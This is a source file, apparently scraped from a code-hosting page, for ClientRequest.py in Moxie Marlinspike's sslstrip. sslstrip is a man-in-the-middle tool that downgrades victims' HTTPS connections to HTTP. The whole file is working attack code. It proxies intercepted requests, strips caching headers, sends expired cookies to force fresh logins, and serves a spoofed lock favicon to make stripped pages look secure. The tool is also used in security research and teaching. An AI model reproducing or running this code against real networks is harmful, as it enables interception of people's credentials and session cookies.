Path: blob/master/sslstrip-work-2019/sslstrip/ClientRequest.py
1306 views
# Copyright (c) 2004-2009 Moxie Marlinspike1#2# This program is free software; you can redistribute it and/or3# modify it under the terms of the GNU General Public License as4# published by the Free Software Foundation; either version 3 of the5# License, or (at your option) any later version.6#7# This program is distributed in the hope that it will be useful, but8# WITHOUT ANY WARRANTY; without even the implied warranty of9# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU10# General Public License for more details.11#12# You should have received a copy of the GNU General Public License13# along with this program; if not, write to the Free Software14# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-130715# USA16#1718import urlparse, logging, os, sys, random1920from twisted.web.http import Request21from twisted.web.http import HTTPChannel22from twisted.web.http import HTTPClient2324from twisted.internet import ssl25from twisted.internet import defer26from twisted.internet import reactor27from twisted.internet.protocol import ClientFactory2829from ServerConnectionFactory import ServerConnectionFactory30from ServerConnection import ServerConnection31from SSLServerConnection import SSLServerConnection32from URLMonitor import URLMonitor33from CookieCleaner import CookieCleaner34from DnsCache import DnsCache3536class ClientRequest(Request):3738''' This class represents incoming client requests and is essentially where39the magic begins. Here we remove the client headers we dont like, and then40respond with either favicon spoofing, session denial, or proxy through HTTP41or SSL to the server.42'''4344def __init__(self, channel, queued, reactor=reactor):45Request.__init__(self, channel, queued)46self.reactor = reactor47self.urlMonitor = URLMonitor.getInstance()48self.cookieCleaner = CookieCleaner.getInstance()49self.dnsCache = DnsCache.getInstance()50# self.uniqueId = random.randint(0, 10000)5152def cleanHeaders(self):53headers = self.getAllHeaders().copy()5455if 'accept-encoding' in headers:56del headers['accept-encoding']5758if 'if-modified-since' in headers:59del headers['if-modified-since']6061if 'cache-control' in headers:62del headers['cache-control']6364return headers6566def getPathFromUri(self):67if (self.uri.find("http://") == 0):68index = self.uri.find('/', 7)69return self.uri[index:]7071return self.uri7273def getPathToLockIcon(self):74if os.path.exists("lock.ico"): return "lock.ico"7576scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))77scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")7879if os.path.exists(scriptPath): return scriptPath8081logging.warning("Error: Could not find lock.ico")82return "lock.ico"8384def handleHostResolvedSuccess(self, address):85logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))86host = self.getHeader("host")87headers = self.cleanHeaders()88client = self.getClientIP()89path = self.getPathFromUri()9091self.content.seek(0,0)92postData = self.content.read()93url = 'http://' + host + path9495self.dnsCache.cacheResolution(host, address)9697if (not self.cookieCleaner.isClean(self.method, client, host, headers)):98logging.debug("Sending expired cookies...")99self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,100host, headers, path))101elif (self.urlMonitor.isSecureFavicon(client, path)):102logging.debug("Sending spoofed favicon response...")103self.sendSpoofedFaviconResponse()104elif (self.urlMonitor.isSecureLink(client, url)):105logging.debug("Sending request via SSL...")106self.proxyViaSSL(address, self.method, path, postData, headers,107self.urlMonitor.getSecurePort(client, url))108else:109logging.debug("Sending request via HTTP...")110self.proxyViaHTTP(address, self.method, path, postData, headers)111112def handleHostResolvedError(self, error):113logging.warning("Host resolution error: " + str(error))114self.finish()115116def resolveHost(self, host):117address = self.dnsCache.getCachedAddress(host)118119if address != None:120logging.debug("Host cached.")121return defer.succeed(address)122else:123logging.debug("Host not cached.")124return reactor.resolve(host)125126def process(self):127logging.debug("Resolving host: %s" % (self.getHeader('host')))128host = self.getHeader('host')129deferred = self.resolveHost(host)130131deferred.addCallback(self.handleHostResolvedSuccess)132deferred.addErrback(self.handleHostResolvedError)133134def proxyViaHTTP(self, host, method, path, postData, headers):135connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)136connectionFactory.protocol = ServerConnection137self.reactor.connectTCP(host, 80, connectionFactory)138139def proxyViaSSL(self, host, method, path, postData, headers, port):140clientContextFactory = ssl.ClientContextFactory()141connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)142connectionFactory.protocol = SSLServerConnection143self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)144145def sendExpiredCookies(self, host, path, expireHeaders):146self.setResponseCode(302, "Moved")147self.setHeader("Connection", "close")148self.setHeader("Location", "http://" + host + path)149150for header in expireHeaders:151self.setHeader("Set-Cookie", header)152153self.finish()154155def sendSpoofedFaviconResponse(self):156icoFile = open(self.getPathToLockIcon())157158self.setResponseCode(200, "OK")159self.setHeader("Content-type", "image/x-icon")160self.write(icoFile.read())161162icoFile.close()163self.finish()164165166